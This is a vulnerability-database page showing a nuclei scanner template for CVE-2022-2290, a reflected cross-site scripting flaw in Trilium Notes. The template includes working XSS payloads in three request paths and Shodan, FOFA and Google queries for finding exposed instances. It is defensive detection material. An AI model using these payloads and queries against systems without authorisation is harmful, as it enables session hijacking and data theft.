Lucene search
K

Trilium <0.52.4 - Cross-Site Scripting

🗓️ 30 Jun 2026 04:56:11Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 22 Views

Trilium <0.52.4 - Cross-Site Scripting security vulnerability allows execution of arbitrary script code in the browser, leading to data theft or session hijacking

Related
Refs
Code
ReporterTitlePublishedViews
Family
Huntr
Multiple Reflected XSS Vulnerabilities in error handlers
28 Jun 202207:01
huntr
ATTACKERKB
CVE-2022-2290
3 Jul 202206:15
attackerkb
Circl
CVE-2022-2290
30 Jan 202621:02
circl
CNNVD
Trilium Notes 跨站脚本漏洞
3 Jul 202200:00
cnnvd
CVE
CVE-2022-2290
3 Jul 202206:05
cve
Cvelist
CVE-2022-2290 Cross-site Scripting (XSS) - Reflected in zadam/trilium
3 Jul 202206:05
cvelist
EUVD
EUVD-2022-34563
3 Oct 202520:07
euvd
NVD
CVE-2022-2290
3 Jul 202206:15
nvd
OSV
CVE-2022-2290 Cross-site Scripting (XSS) - Reflected in zadam/trilium
3 Jul 202206:05
osv
Prion
Cross site scripting
3 Jul 202206:15
prion
Rows per page
id: CVE-2022-2290

info:
  name: Trilium <0.52.4 - Cross-Site Scripting
  author: dbrwsky
  severity: medium
  description: Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Trilium instance.
  remediation: |
    Upgrade Trilium to version 0.52.4 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/
    - https://github.com/zadam/trilium
    - https://github.com/zadam/trilium/commit/3faae63b849a1fabc31b823bb7af3a84d32256a7
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2290
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2290
    cwe-id: CWE-79
    epss-score: 0.02547
    epss-percentile: 0.83042
    cpe: cpe:2.3:a:trilium_project:trilium:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: trilium_project
    product: trilium
    shodan-query:
      - title:"Trilium Notes"
      - http.title:"trilium notes"
    fofa-query: title="trilium notes"
    google-query: intitle:"trilium notes"
  tags: cve,cve2022,xss,trilium,huntr,trilium_project,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
      - '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
      - '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "No handler matched for custom <img src=x onerror=alert(document.domain)>"
          - "Note '<img src=x onerror=alert(document.domain)>' not found"
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 404
# digest: 4b0a00483046022100f93cfa49b790029dbdee16bb29ea0866662fff347f12438ea873b4f34a9738cb022100f5ab84afab1519e66784d053114a6196154e8523ebbfe7c271cfc89b24e682c2:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 24.3
CVSS 3.16.1
CVSS 36.4
EPSS0.02547
22